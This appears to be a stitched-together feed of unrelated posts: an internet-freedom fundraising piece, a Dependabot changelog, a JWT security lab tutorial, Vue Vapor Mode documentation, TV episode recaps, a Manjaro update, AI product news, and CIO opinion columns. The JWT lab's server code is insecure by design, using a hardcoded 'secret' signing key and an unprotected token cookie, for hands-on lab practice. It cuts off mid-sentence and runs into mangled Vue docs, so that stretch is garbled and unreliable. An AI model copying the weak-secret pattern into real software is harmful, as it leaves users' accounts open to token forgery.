During periods of internet disruption and nationwide protests in Iran, these tools became critical communication lifelines. One longtime user wrote to us:

"I've been using this free app for several years now. It's free, unique, and unlike others, it has no equal." Reflecting on the broader digital environment in the country, they added that "in these difficult economic conditions, people are struggling just to survive, while many apps either empty people's pockets, deceive and lie to them, or serve as tools for spying and propaganda."

Messages like these highlight the importance of privacy-preserving technologies in environments where surveillance, censorship, and disinformation shape everyday life online. In moments of crisis, internet freedom tools become part of how people maintain relationships, exchange trusted information, and stay connected to the outside world. For some users, these tools also made it possible to continue reporting on events on the ground, verify information during periods of state-backed disinformation, and safely communicate evidence of abuses despite widespread surveillance and connectivity disruptions.

The future of Paskoocheh: Scaling a community-first approach to internet freedom

As internet censorship tactics evolve rapidly, internet shutdowns are becoming more frequent and more sophisticated, cutting communities off from information, communication, and one another.

What we have learned through this work is that access alone is not enough. Technology is only useful if people trust it, understand how to use it safely, and can rely on support networks when digital spaces become unstable or dangerous.

That is why our work extends beyond technical development. Alongside building secure access technologies, ASL19 invests heavily in user education, digital security guidance, and community capacity building. Every support ticket answered, training delivered, and piece of digital safety guidance shared helps people stay connected under pressure.

This human-centered approach is becoming increasingly important as authoritarian tactics evolve globally. During internet shutdowns and heightened censorship, local helper communities often become the first line of assistance for journalists, activists, students, and ordinary citizens.

With additional support, ASL19 aims to continue expanding Paskoocheh beyond its current capacity into a broader resilience ecosystem that combines technical innovation with stronger on-the-ground support systems. This includes improving access to trusted circumvention and privacy tools during shutdowns, expanding multilingual user support and educational resources, and deepening collaboration with communities operating under digital authoritarianism.

This work is not solely about technology products. At a moment when most people's understanding of the internet is shaped by the little squares in their pockets, it is important to acknowledge and support the broader ecosystems that make access possible. Civil society, independent media, and grassroots communities all play a part in helping people survive under pressure. This is why partnerships within the internet freedom ecosystem matter. Living under digital authoritarianism means that these are not abstract protections against hypothetical risks, but practical tools that make journalism, organizing, education, and communication possible in the first place.

About ASL19

Named after Article 19 of the Universal Declaration of Human Rights, ASL19 is a technology and exiled media organization working to counter digital authoritarianism. For more than a decade, we have partnered with civil society groups, journalists, researchers, activists, and internet users living under some of the world's most restrictive online environments. Guided by the belief that privacy and internet freedom are essential to safe communication, access to information, and civic participation, ASL19 develops technologies and support systems that help people navigate censorship, surveillance, internet shutdowns, and information manipulation. In countries such as Iran, Russia, and China, these tools serve as critical lifelines, enabling people to communicate securely, access information, document human rights abuses, and stay connected to the outside world.

v0.388.0

Wed, 22 Jul 2026 21:50:45 +0200

What's Changed

Type GitHub release metadata by @JamieMagee in #15597
Make GitCommitChecker strongly typed by @JamieMagee in #15598
Retry corepack prepare and install on signature metadata errors from private registries by @kbukum1 in #15606
Fix UV DependencyGrapher to detect nested uv.lock in monorepos by @thavaahariharangit with @Copilot in #15520
Bump library/rust from 1.95.0-bookworm to 1.97.0-bookworm in /cargo by @dependabot[bot] in #15560
Bump @sigstore/core from 3.1.0 to 3.2.1 in /npm_and_yarn/helpers by @dependabot[bot] in #15455
Bump maven from 3.9.14 to 3.9.16 in /maven by @dependabot[bot] in #15127
Support Bundler source cooldown in Dependabot cooldown flow by @robaiken in #15517
Type shared release metadata by @JamieMagee in #15607
Make Job strongly typed by @JamieMagee in #15608
Type Job wire models by @JamieMagee in #15610
Type Service and ApiClient by @JamieMagee in #15614
Add support for calendar-based versions for Maven and Gradle by @yeikel in #14114
Type error reporting by @JamieMagee in #15615
Type updater dependency helpers by @JamieMagee in #15617
ensure proper formatting when patching element attributes by @brettfo in #15629
Bump ws from 8.18.3 to 8.21.1 in /npm_and_yarn/helpers/test/npm/fixtures/vulnerability-auditor/update-needed-across-two-versions by @dependabot[bot] in #15329
Bump lodash from 4.17.23 to 4.18.1 in /bun/helpers/test/yarn/fixtures/conflicting-dependency-parser/deeply-nested by @dependabot[bot] in #14608
Bump lodash from 4.17.23 to 4.18.1 in /npm_and_yarn/helpers/test/yarn/fixtures/conflicting-dependency-parser/deeply-nested by @dependabot[bot] in #14609
Bump lodash from 4.17.23 to 4.18.1 in /npm_and_yarn/helpers/test/npm6/fixtures/conflicting-dependency-parser/deeply-nested by @dependabot[bot] in #14610
Bump the dev-dependencies group across 1 directory with 2 updates by @dependabot[bot] in #14694
Bump pip from 26.1.1 to 26.1.2 in /python/helpers in the pip group across 1 directory by @dependabot[bot] in #11830
Bump yaml from 2.3.1 to 2.9.0 in /bun/helpers by @dependabot[bot] in #14535
npm_and_yarn: group vulnerability auditor blocking-dependency messages by top-level ancestor by @thavaahariharangit in #15627
Bump ip-address and socks in /bun/helpers by @dependabot[bot] in #14924
Bump brace-expansion from 1.1.13 to 1.1.16 in /bun/helpers/test/yarn/fixtures/conflicting-dependency-parser/deeply-nested by @dependabot[bot] in #15634
Bump brace-expansion from 1.1.13 to 1.1.16 in /npm_and_yarn/helpers/test/yarn/fixtures/conflicting-dependency-parser/deeply-nested by @dependabot[bot] in #15633
Bump sigstore/cosign/cosign from v3.1.1 to v3.1.2 in /docker in the regclient group across 1 directory by @dependabot[bot] in #15621
Bump lodash from 4.17.23 to 4.18.1 in /bun/helpers/test/npm6/fixtures/conflicting-dependency-parser/deeply-nested by @dependabot[bot] in #14606
Bump @tootallnate/once from 2.0.0 to 2.0.1 in /bun/helpers by @dependabot[bot] in #15107
Bump the "uv-ecosystem" group with 1 update across multiple ecosystems by @dependabot[bot] in #14969
Bump ip-address and socks in /npm_and_yarn/helpers by @dependabot[bot] in #14923
Bump yaml from 2.3.1 to 2.9.0 in /npm_and_yarn/helpers by @dependabot[bot] in #14533
Bump golang.org/x/mod from 0.37.0 to 0.38.0 in /go_modules/helpers by @dependabot[bot] in #15559
Bump @sigstore/verify from 3.1.0 to 3.1.1 in /npm_and_yarn/helpers by @dependabot[bot] in #15477
julia: don't propose compat updates for workspace packages or synthesize member compat entries by @IanButterworth in #15643
fix: guard against unparseable versions in cooldown fallback by @currantw in #15632
Type dependency requirement readers by @JamieMagee in #15646
v0.388.0 by @dependabot-core-action-automation[bot] in #15623

New Contributors

@currantw made their first contribution in #15632

Full Changelog: v0.387.0...v0.388.0

Two Ways To Mess Up Your JWT Safety Net In Your Own Lab.

Wed, 22 Jul 2026 20:59:45 +0200

In the lab we’re going to build today, we’ll talk about JWTs and how they can affect the security of your website. This is a lab that’s been requested, and I could not be happier that the community is actually suggesting things for me to build. It’s a privilege to do this.

JWT As Security Measure

JSON Web Tokens are used a lot by developers. They provide a way to send ‘data’ with them (e.g., a role from a user), to check for authorization. A JWT consists of 3 parts, separated by a ..

Let’s take this JWT as an example.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30

The first part eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 is called 'the header'. It holds information on the type of the JWT. The second part eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0 is the payload, which holds the claims. This is where that 'data' lives. If you decode this with Base64url you'll learn that this token belongs to John Doe and that he is an administrator. The last part is the important part. This is the signature. Each JWT should be signed with a strong password. Ideally that password is saved in a .env file on the server and not in the code.

So now you might wonder, well if it’s signed, nothing can go wrong right? Well, if that were true, I wouldn’t spend my evenings writing these kinds of blog posts now would I 😅.

Let’s Build The Lab Already

You’re right to think this by now. Enough theory, let’s do some hands on keyboard. As always in this series, I’ll provide you with the lab structure and some code to get us started.

Lab Tree

/mediumLabs
└── /JWT
    ├── server.js
    ├── login.html
    ├── index.html
    ├── admin.html
    ├── /node_modules
    ├── /package-lock.json
    └── /package.json

Code

server.js

const express = require('express');
const jwt = require('jsonwebtoken');
const path = require('path');
const Database = require('better-sqlite3');
const app = express();
const JWT_SECRET = 'secret';
const db = new Database(':memory:');
db.exec(`
  CREATE TABLE users (
    id INTEGER PRIMARY KEY,
    username TEXT,
    password TEXT,
    role TEXT
  )
`);
db.prepare("INSERT INTO users (username, password, role) VALUES ('user', 'password', 'user')").run();
app.use(express.urlencoded({ extended: false }));

app.get('/', (req, res) => res.sendFile(path.join(__dirname, 'login.html')));
function getToken(req) {
  const match = (req.headers.cookie || '').match(/token=([^;]+)/);
  return match ? match[1] : null;
}
app.post('/login', (req, res) => {
  const { username, password } = req.body;
  const user = db.prepare('SELECT * FROM users WHERE username = ? AND password = ?').get(username, password);
  if (!user) return res.redirect('/?error=Invalid+credentials');
  const token = jwt.sign({ username: user.username, role: user.role }, JWT_SECRET);
  res.setHeader('Set-Cookie', `token=${token}; Path=/`);
  res.redirect('/index.html');
});
app.get('/index.html', (req, res) => {
  try {
    res.sendFile(path.join(__dirname, 'index.html'));
  } catch {
    res.redirect('/');
  }
});
app.get('/admin', (req, res) => {
});

app.listen(3000, () => console.log('Listening on http://localhost:3000'));

login.html




    
    
    Login


    Login

    
        
            Username: 
        

        
            Password:

index.html

Home

Welcome!

You are logged in as .

Go to Admin Panel

admin.html

Admin Panel

Welcome, admin. Here is the secret flag:

FLAG{JWT}

Back to Home

Let’s Add Some Vulnerabilities

Ok, so now we have our base code, and we need to implement the functionality that will make sure only people with the role admin can navigate to /admin. First off, run npm run dev to see your code actually start.

In a very, very wrong way we already tried implementing security in admin.html. When you look inside the ">

<script setup vapor>
// ...
script>

">

<script vapor>
// ...
script>


The vapor marker can also be placed on the template, enabling Vapor compilation for the entire SFC:
<template vapor>
  
template>
Creating an App and Using VDOM Interop
Pure Vapor Applications
Applications composed entirely of Vapor components can use createVaporApp():
import { createVaporApp } from 'vue'
import App from './App.vue'

createVaporApp(App).mount('#app')
Apps created this way avoid pulling in the Virtual DOM runtime code and allow the baseline bundle size to be drastically reduced.
Enabling VDOM Interop
To use Vapor components in a VDOM app instance created via createApp(), the vaporInteropPlugin must be installed:
import { createApp, vaporInteropPlugin } from 'vue'
import App from './App.vue'

createApp(App).use(vaporInteropPlugin).mount('#app')
A Vapor app instance can also install vaporInteropPlugin to allow VDOM components to be used inside, but this pulls in the VDOM runtime and offsets the benefits of a smaller bundle.
Components authored with render functions or JSX remain VDOM components and also require interop when used in a Vapor application.
When the interop plugin is installed, Vapor and non-Vapor components can be nested inside each other. This currently covers standard props, events, and slots usage, but does not yet account for all possible edge cases. For example, there may still be rough edges when using a VDOM-based component library in Vapor Mode.
In general, we recommend having distinct regions in an app where one rendering mode or the other is used, and avoiding mixed nesting as much as possible.
Feature Compatibility
By design, Vapor Mode supports a subset of existing Vue features. For the supported subset, we aim to deliver the same behavior according to the API specifications. The following features are currently unsupported or do not apply to Vapor Mode:

Options API
app.config.globalProperties
getCurrentInstance() returns null in Vapor components
@vue:xxx per-element lifecycle events
v-memo
Component template refs do not expose properties such as $el, $props, $attrs, $slots, and $refs

Important Usage Considerations
Event Delegation and stopPropagation()
Vapor delegates eligible events to document. Each element stores its own handler, and a single document listener walks the event path and invokes matching handlers.
If any ancestor calls stopPropagation(), the event never reaches document, and the delegated handler will not run.
The following forms bypass delegation and attach the listener directly to the element:
<button @[event]="onClick" />
<button v-bind="{ onClick }" />
<button v-on="{ click: onClick }" />
slots.default() Is Not a Safe Dry Run
In Vapor, slots.default() is not a side-effect-free inspection API. Calling it executes the slot's rendering logic, which may create Blocks and DOM nodes, register reactive effects, and claim existing SSR DOM during hydration.
Do not call a slot to inspect its output before deciding what else to render:
Fallback
"><script setup vapor>
import { useSlots } from 'vue'

const slots = useSlots()
const content = slots.default?.()
const showFallback = !content
</script>

<template>
  <div v-if="showFallback">Fallback</div>
</template>
Instead, leave slot rendering to the template:
<template>
  <slot />
template>
Custom Directives Use a Different Interface
Custom directives in Vapor also have a different interface:
type VaporDirective = (
  node: Element | VaporComponentInstance,
  value?: () => any,
  argument?: string,
  modifiers?: DirectiveModifiers,
) => (() => void) | void
value is a reactive getter that returns the binding value. Reactive effects can be set up using watchEffect() and are automatically released when the component unmounts. A directive may also return a cleanup function:
const MyDirective = (el, source) => {
  watchEffect(() => {
    el.textContent = source()
  })
  return () => console.log('cleanup')
}
Behavior Consistency
Vapor Mode attempts to match VDOM Mode behavior as much as possible, but minor inconsistencies may still exist in edge cases because the two rendering modes are fundamentally different. In general, a minor inconsistency is not considered a breaking change unless the behavior has previously been documented.
For stable releases, please refer to CHANGELOG.md for details.

For pre-releases, please refer to CHANGELOG.md of the minor branch.



Agent Kim Reactivated Episode 7 Ending Explained: Kim Loses Control Again
Fri, 17 Jul 2026 20:10:22 +0200
Agent Kim Reactivated Episode 7 turns Kim Do-hyeon’s long-awaited reunion with Min-ji into another dangerous fight for survival. Kim finally reaches his daughter, but getting her home safely proves far more difficult than finding her.



Spoiler warning: This article contains major spoilers for Agent Kim Reactivated Episode 7 and earlier episodes.




Release date: July 17, 2026



Streaming platform: Netflix



Korean network: SBS



Airtime: Fridays and Saturdays at 9:50 p.m. KST



Genre: Action, crime, thriller and comedy




The Korean action drama premiered on June 26 and will continue until July 25. Episode 7 brings the story into its final stretch, with only three episodes remaining after this chapter.



Kim’s rescue mission falls apart



Episode 6 ended with Kim finding Min-ji after tracking down the people involved in her disappearance. His quiet promise that they would finally go home gave the pair a brief emotional reunion, but the danger surrounding them had not disappeared.



In Episode 7, Kim attempts to move Min-ji away from the area while Seong Han-su and Park Jin-cheol help protect them. Their escape quickly comes under attack, forcing the three fathers to fight through another group of armed men.



Min-ji also shows that she is more resourceful than her captors expect. Instead of waiting helplessly for someone to save her, she watches her surroundings, looks for an opening and tries to escape. Her actions reflect the courage and survival instincts she inherited from her father.



However, Kim’s rescue mission takes a darker turn when the attack separates him from Min-ji again. The brief reunion leaves him even more determined to destroy everyone involved in placing her life at risk.



Kim confronts Joo Kang-chan



Joo Kang-chan remains at the centre of the conflict. His influence helped turn Min-ji’s school dispute into a violent kidnapping case, while his connections allowed those responsible to avoid immediate consequences.



Kim now understands that simply rescuing Min-ji will not end the threat. As long as Kang-chan and his organisation remain active, his daughter will never be safe.



The confrontation pushes Kim closer to the ruthless operative once known as Code 66. He stops reacting like an ordinary father trapped in a dangerous situation and begins approaching the conflict as a former special agent completing a mission.



Kim’s decision to eliminate the threat also raises a difficult question. Even if he saves Min-ji, she has now seen the violent identity he spent years hiding from her.



Kim’s past becomes the next major threat



Earlier episodes revealed that Kim left his dangerous career behind to raise Min-ji and live as an ordinary bank employee. Her disappearance forced him to use the combat skills, contacts and instincts that he had tried to bury.



Episode 7 makes it clear that his past will continue following him. The next chapter appears ready to explore Code 66 more deeply as another figure from Kim’s former life enters the conflict. The Episode 8 preview directly calls him by his old codename, suggesting that rescuing Min-ji has opened the door to an even larger operation.



With the final episodes approaching, Kim must protect his daughter while facing the consequences of becoming Code 66 again. What do you think will happen when Min-ji learns the full truth about her father? Let us know in the comments.


[Testing Update] 2026-07-17 - Plasma, KDE Framework, COSMIC, Pipewire, Firefox
Fri, 17 Jul 2026 17:31:56 +0200
 
Hello Manjaro user community, here we have another set of package updates. We are continuing our development of the upcoming release of ‘Bian-May’ which can be expected Mid or End of July. Development speed may be a little slower the upcoming weeks. However, still let us know any issues you may found thus far.
Current Promotions

Get the latest Gaming Laptop by Slimbook powered by Manjaro: Slimbook Manjaro III
Protect your personal data, keep yourself safe with Surfshark VPN: See current promotion

Recent News

New in Manjaro GNOME!
Or, if you prefer the command line: (click for more details)

KDE Plasma users with SDDM can now migrate to Plasma Login Manager (click for more details)

NVIDIA 590 driver drops Pascal support (click for more details)

Manjaro 26.1 Bian-May - Preview released
Manjaro 26.0 Anh-Linh released
Manjaro Summit public Alpha now available
As of Linux 5.4.302, the 5.4 series is now EOL (End Of Life). Please install 5.10 LTS (Long Term Support) or 5.15 LTS.
As of Linux 6.16.12, the 6.16 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.
As of Linux 6.17.13, the 6.17 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.
As of Linux 6.19.14, the 6.19 series is now EOL (End Of Life). Please install 7.0, and/or 6.18 LTS (Long Term Support) and/or 6.12 LTS.
As of Linux 7.0.14, the 7.0 series is now EOL (End Of Life). Please install 7.1, and/or 6.18 LTS (Long Term Support) and/or 6.12 LTS.


Previous News (click for more details)
Notable Package Updates

PipeWire 1.6.8
Firefox 152.0.6
KDE Frameworks 6.28.0
KDE Plasma 6.7.3
COSMIC Epoch 1.3.0
GStreamer 1.28.5
Wine 11.13

Additional Info

Python 3.14 info (click for more details)

Info about AUR packages (click for more details)
Get our latest daily developer images now from Github: Plasma, GNOME, XFCE. You can get the latest stable releases of Manjaro from CDN77.

Our current supported kernels

linux61 6.1.177
linux66 6.6.144
linux612 6.12.95
linux618 6.18.38
linux71 7.1.3
linux72 7.2.0-rc3
linux61-rt 6.1.167_rt62
linux66-rt 6.6.135_rt74
linux612-rt 6.12.89_rt18

Package Changes (7/17/26 15:26 CEST)

testing core x86_64:  62 new and 62 removed package(s)
testing extra x86_64:  1486 new and 1584 removed package(s)
testing multilib x86_64:  13 new and 13 removed package(s)

A list of all package changes can be found here.
Click to view the poll.
Check if your mirror has already synced:

Mirror-Check Service


            2 posts - 2 participants
            Read full topic


1Password Now Lets Claude Log In Without Seeing Your Passwords
Fri, 17 Jul 2026 15:26:07 +0200
If you want an artificial intelligence tool to book a flight or buy an audiobook, it usually needs to log into your personal accounts. Sharing your private login details directly with a chatbot feels risky, but a new software update changes that process entirely. The popular password manager 1Password just built a clever way for the smart assistant Claude to access your online accounts without ever actually seeing your private passwords or verification codes.



The new tool needs your fingerprint to approve each login



When Claude needs to get into a website to finish a task, it sends a prompt to your 1Password app. You will see exactly what site the agent wants to access and why it needs to go there. To approve the request, you just use a biometric check, like a quick fingerprint scan on your keyboard.



Once you approve the request, 1Password drops the username and password directly into the website form. The actual text of the password never goes to Claude, its memory banks, or the servers at Anthropic. This method keeps your sensitive data strictly on your own device while the digital assistant does its job.



A special lockdown mode keeps your main password vault hidden



Along with this handy feature, 1Password introduced a security setting called Agentic Mode. Whenever a supported AI bot takes control of your web browser, this mode automatically locks down your entire vault. The bot can only use the specific login details you just approved for that exact moment, so your other accounts stay completely off limits.



Right now, this setup is only available for Mac users on individual, family, or business plans. You need the desktop apps and browser extensions for both 1Password and Claude to make it work. The company also plans to add support for payment cards and identity details later, making it easier to let your digital helper handle online shopping.



Instead of forcing you to choose between convenience and security, this integration proves we can safely trust digital assistants with daily chores. It sets a clear, safe standard for how smart apps should handle our private data moving forward.


Meta AI Updates Its Chatbot To Alert Parents About Teen Self-Harm
Fri, 17 Jul 2026 15:26:06 +0200
The social media giant Meta just added a major safety feature to its digital assistant. When younger users have conversations that involve thoughts of suicide or hurting themselves, the company will step in. Instead of just showing crisis hotlines on the screen, the system will now send a direct notification right to a linked parent or guardian. The change aims to help families address these serious issues in real life.



Human reviewers check the flagged chats before sending parental alerts



To make this work, the platform requires families to opt into its specific supervision tools first. Once those settings are active, the artificial intelligence monitors the background chats for any signs of distress. However, a computer program does not make the final call on its own.



The company stated that a real person will manually review every conversation flagged by the AI. This extra step helps prevent false alarms from reaching parents over harmless chats. If a reviewer decides the context is unclear, the system will still notify the parent just to be safe.



The safety rollout is currently live for users in the United States, Canada, the United Kingdom, and Australia. The company plans to expand this coverage to more countries later this year. Looking forward, the platform is also building a tool to contact emergency services directly if a chat suggests an immediate risk to a user's life.



Ultimately, this update gives families a practical tool to handle difficult situations. While no monitoring program is flawless, relying on human reviewers shows a careful approach to keeping vulnerable users safe online.


Sugar Season 2 Episode 5 Recap: Sugar Enters Pavich’s Inner Circle
Fri, 17 Jul 2026 14:22:59 +0200
Sugar Season 2 Episode 5, titled “Unknowns,” sees John Sugar protect Ji Moon while quietly entering Senator Pavich’s inner circle through a mysterious professor.



The episode continues the season’s central investigation into Ji’s disappearance, corrupt police officer Ray Vega, and the wider conspiracy operating across Los Angeles. Sugar also struggles with growing loneliness as he remains separated from the other members of his alien community.



Sugar Season 2 Episode 5 release details




Episode title: Unknowns



Release date: July 17, 2026



Streaming platform: Apple TV



Runtime: 40 minutes



Genre: Mystery, drama and science fiction



Rating: TV-MA



Main cast: Colin Farrell, Jin Ha, Raymond Lee, Tony Dalton, Laura Donnelly, Shea Whigham and Bernard White




Season 2 premiered on June 19, 2026, and contains eight episodes, with the finale scheduled for August 7. New episodes arrive weekly on Fridays.



Sugar hides Ji from Vega



Spoilers ahead for Sugar Season 2 Episode 5.



The episode begins after Sugar secretly brings Ji back from a near-fatal overdose. He takes Ji to a rehabilitation facility, where the young man can remain hidden from Vega and the corrupt officers searching for him.



Sugar then creates a false death certificate and allows Vega to believe that Ji has died. To make the story more convincing, Sugar confronts Vega at a private gathering and punches him, acting like a grieving investigator who has lost his witness.



However, Vega does not fully accept Ji’s death. He continues tracking Sugar’s movements and later returns to the cabin where Ji was found. A mounted animal head that Sugar accidentally disturbed catches Vega’s attention, suggesting that he has noticed something wrong with the scene.



Sugar enters Pavich’s inner circle



With Ji temporarily safe, Sugar returns to his investigation of Senator Pavich. He follows Dr. Stanley Ondaatje, a professor connected to Pavich, and breaks into his home.



Inside, Sugar discovers a strange document containing four circles. The meaning remains unclear, but the drawing appears connected to the secret project involving Pavich and the professor.



Sugar also finds a room filled with succulents and books about desert plants. He later approaches Ondaatje in a cactus garden and pretends to share his interest in plants. Their conversation allows Sugar to gain the professor’s trust without revealing that he has already searched his home.



Ondaatje describes the plants as stronger than they appear because they survive with very little in harsh environments. His words also reflect Sugar’s condition as someone living alone among humans while trying to understand how much he has changed.



Chuy’s phone could expose Vega



Sugar and Val also search for evidence that can support Ji’s claims against Vega. Since Ji witnessed Vega committing murder while involved in a crime himself, officials may question his reliability.



They believe Chuy could have recorded evidence on his phone. Sugar eventually finds a phone with an Aztec-style design after discovering Sandra dead from an overdose. The device could contain the proof needed to connect Vega to the murders and the operation in Downer Town.



Meanwhile, Danny accepts a boxing contract after refusing to apologize for his recent fight. Although he believes Ji has died, Sugar has secretly kept his brother alive.



The closing scenes focus on Sugar’s increasing attachment to human life. He spends the night talking with Charlotte before Peg appears and warns him that he is becoming too human.



Episode 5 pushes Sugar closer to Pavich while leaving Vega suspicious about Ji’s supposed death. What do you think the four-circle drawing means, and will Sugar’s connection with Charlotte place her in danger? Let us know in the comments.


Agent Kim Reactivated Episode 7 Release Date and What to Expect
Fri, 17 Jul 2026 14:10:33 +0200
Agent Kim Reactivated Episode 7 will arrive on Friday, July 17, 2026. The next chapter continues Kim Do-hyeon’s increasingly dangerous mission after his daughter Min-ji becomes a target once again.




Release date: July 17, 2026



Broadcast time: 9:50 p.m. KST



Streaming platform: Netflix



Genre: Action, crime, comedy, mystery and thriller



Total episodes: 10



Release schedule: New episodes every Friday and Saturday



Main cast: So Ji-sub, Choi Dae-hoon, Yoon Kyung-ho, Joo Sang-wook, Son Na-eun and Seo Su-min




Episode 7 will be followed by Episode 8 on Saturday, July 18. The final two episodes will arrive on July 24 and July 25, bringing the limited series to an end.



What will happen in Agent Kim Reactivated Episode 7?



Spoilers ahead for Episodes 5 and 6.



The Episode 7 preview shows Kim transporting Min-ji after finally reaching her. However, their vehicle comes under attack, and Min-ji is kidnapped again before Kim can take her somewhere safe. The new abduction appears to involve Joo Kang-chan, who is now openly challenging Kim.



Kim’s search will also bring him into another confrontation with Gold Tooth and the North Korean operative connected to Agent 66. Someone from Kim’s former agency warns him that he may never see Min-ji again, suggesting that the kidnapping forms part of a wider plan linked to his past.



Kim’s past continues to shape the story



Episode 6 revealed more about Agent 66 and his final mission with Kim. Agent 66 suffered devastating injuries during an explosion and convinced Kim to survive, complete the mission and build a normal family life. That promise explains why Kim has protected his identity for so many years and why Min-ji remains his greatest weakness.



Episode 7 now places that promise under greater pressure. Kim must face enemies who understand his history while protecting the person who gave his new life meaning. Park Jin-cheol and Seong Han-su also appear to be in danger, which could force the three former operatives to fight together again.



The series is based on the Manager Kim webtoon and follows a quiet office worker who returns to his black-ops life after his teenage daughter disappears.



What do you expect from Agent Kim Reactivated Episode 7? Let us know in the comments.


Why technology leaders are losing the AI conversation to the people who report to them
Fri, 17 Jul 2026 13:03:31 +0200

		
					  
						




I keep seeing a version of the same scene. A CEO has a question about AI. It is a real question, the kind that will shape where the company spends the next two years. The CEO does not bring it to the CIO. They bring it to a data leader two levels down, or to a vendor who presented at a conference, or to an AI specialist a board member recommended. The CIO finds out the strategy is forming when a slide shows up that they did not build. By then, the direction is already half-set, and the CIO is being asked to react to it rather than shape it.



I want to be precise about what is happening, because it is easy to misread. The CIO has not been removed from anything. Title intact, budget intact, seat at the table intact. What has changed is quieter. On one of the most consequential technology conversations the company will have this decade, the CIO is being routed around. The work still flows through them eventually. The thinking no longer starts with them.



I have watched this happen to capable people who would have given the CEO a better answer than the person who was asked. That is what makes it worth naming. This is not a competence gap. It is a positioning gap, and positioning gaps close in the wrong direction if you ignore them long enough.



How the routing actually starts



The routing does not begin with a decision to exclude anyone. It begins with a CEO who is anxious about AI and looking for someone who sounds certain. AI is moving fast enough that executives feel the pressure to have a point of view before they have earned one. That pressure usually arrives secondhand, from a board member or a peer on the golf course describing what is working at their company. So the CEO goes looking for someone who will confirm the answer they already want to hear, and they keep going back to whoever gives it to them.



Here is where many technology leaders lose the thread. For years, the safe posture in the CIO seat was measured caution. You raised the risks, you flagged the integration cost, you asked who owns the data and what the compliance exposure looks like. That posture built credibility in an era when the failure mode was moving too fast on technology nobody understood. With AI, the same posture reads as drag. A CEO who is being told by three vendors that “the future is already here” does not want to hear why they should slow down and be cautious. They hear caution as losing the race, and they go find a point of view somewhere else.



The data leaders, vendors and specialists who get the call are not necessarily more capable. They are more available with a confident answer. A vendor’s whole job is to arrive with conviction. A data scientist who has shipped one impressive model carries more apparent authority on AI, in that moment, than a CIO who runs the entire estate but talks about AI the way they talk about every other risk. The CEO is not weighing depth against depth. They are weighing the person who said yes against the person who said it depends.



Once that pattern sets, it compounds. The CEO who got a satisfying answer from the data leader goes back to the data leader. The vendor who shaped the first conversation gets invited into the second. Each loop the CIO is not in makes the next one easier to run without them. The org chart still says the CIO owns technology strategy. The actual conversation has relocated.



What it costs before anyone notices



The cost shows up late, which is exactly why it is dangerous. For a while nothing looks broken. The CIO is still delivering. The AI initiatives are still landing on their plate to execute. The damage is happening upstream, in the room where the bets get made, and the CIO is not in that room.



I have seen what arrives downstream when the strategy was set without the person who has to run it. A model gets championed that the data cannot actually support. A vendor commitment gets made that locks the company into an architecture the CIO would have flagged in the first meeting. An agent gets deployed inside a business unit, with executive blessing, and the CIO inherits accountability for it months later without ever having shaped how it was governed. The recent IBM finding that CIOs are increasingly held accountable for AI they do not fully control is the visible end of this. The invisible front end is the conversation the CIO was routed around, the one where the accountability got created in the first place.



What I find most corrosive is what it does to the CIO’s standing over time. Every initiative the CIO executes but did not shape reinforces a story about what the CIO is for. They become the person who runs the technology other people decided on. That is a fine description of an order taker and a poor description of a strategic leader, and CEOs do not promote, fund, or defend order takers when budgets tighten. The routing-around does not just cost the company a worse AI strategy. It quietly recasts the CIO as the implementer of everyone else’s thinking, and that recasting is hard to reverse once the executive team has internalized it.



What the leaders who stayed in the conversation did



The technology leaders I have watched hold their position on AI did one thing first. They stopped leading with caution and started leading with a point of view. Not a reckless one. A real, defensible position on where AI creates value in their specific business and where it does not, delivered with the same conviction the vendors bring, before the CEO went looking elsewhere for it. They made themselves the person with the clearest answer, which is the role the routing-around was filling with someone else.



That requires giving up a posture that felt safe for a long time. The CIOs who made the shift accepted that on AI, being right and cautious is worth less than being early and directional. They formed a view ahead of being asked. They walked into the CEO’s office with where we should place our AI bets and why, rather than waiting to be handed someone else’s bets to pressure-test. The difference is whether you are the author of the strategy or its editor, and CEOs route around editors.



They also changed how they talk about risk. Instead of presenting risk as the reason to slow down, they folded it into the recommendation. The data is not ready for that use case, so here is the use case where it is ready, and here is what we do in parallel to unlock the first one. That framing keeps the CIO inside the conversation as the person making AI happen responsibly, rather than the person standing outside it explaining why it is hard. Same expertise, opposite effect on whether the CEO keeps coming back.



None of this is about pushing the data leaders and specialists out. The strongest CIOs I know pulled those people closer and brought them into the room under their own framing, so that when the CEO wanted the specialist’s input, it arrived through the CIO rather than around them. They made themselves the orchestrator of the AI conversation instead of one of its casualties.



If you are a technology leader right now, the question worth sitting with is not whether you are good at AI. You probably are. The question is whether the most important AI conversations in your company are still starting with you, or whether you have quietly become the person they get handed to after the thinking is done. That answer is set in rooms you may not be in, and the only way to find out is to ask who your CEO called the last three times AI came up. If the answer is not you, the role is still yours. The conversation has already started leaving.



This article is published as part of the Foundry Expert Contributor Network.
Want to join?



Senior executives are killing your shadow AI strategy
Fri, 17 Jul 2026 09:09:11 +0200

		
					  
						




Shadow IT has long been a major problem for CISOs, but the biggest problem may be coming from the executive suite’s hunger for unsanctioned AI.



Nearly two-thirds of senior decision-makers admit to using unapproved AI tools, compared to just 31% of lower-level employees, according to a survey by Microsoft solutions partner TrustedTech.



The use of shadow AI is prevalent among senior executives even though three in four employees acknowledge security or data privacy risks related to the practice.



“Most shadow AI users are not ignorant of the risk,” TrustedTech says in a white paper. “They are deliberately choosing to use these tools anyway. This is not a training issue. It is a culture, incentives, and alternatives issue.”



In many cases, the problem is driven by a lack of approved tools, the report adds.



“People use shadow AI because what their employer hands them is worse than mainstream AI tools, or because nothing has been approved in the first place,” the report says. “That doesn’t change until the sanctioned tools are genuinely worth using.”



A question of authority



The use of shadow AI by CEOs and other C-suite executives can create major problems for CISOs, CIOs, and other IT executives because they may not have the authority to put the kibosh on it.



It also presents a challenge for IT leaders to provide the AI tools that employees and executives want to use.



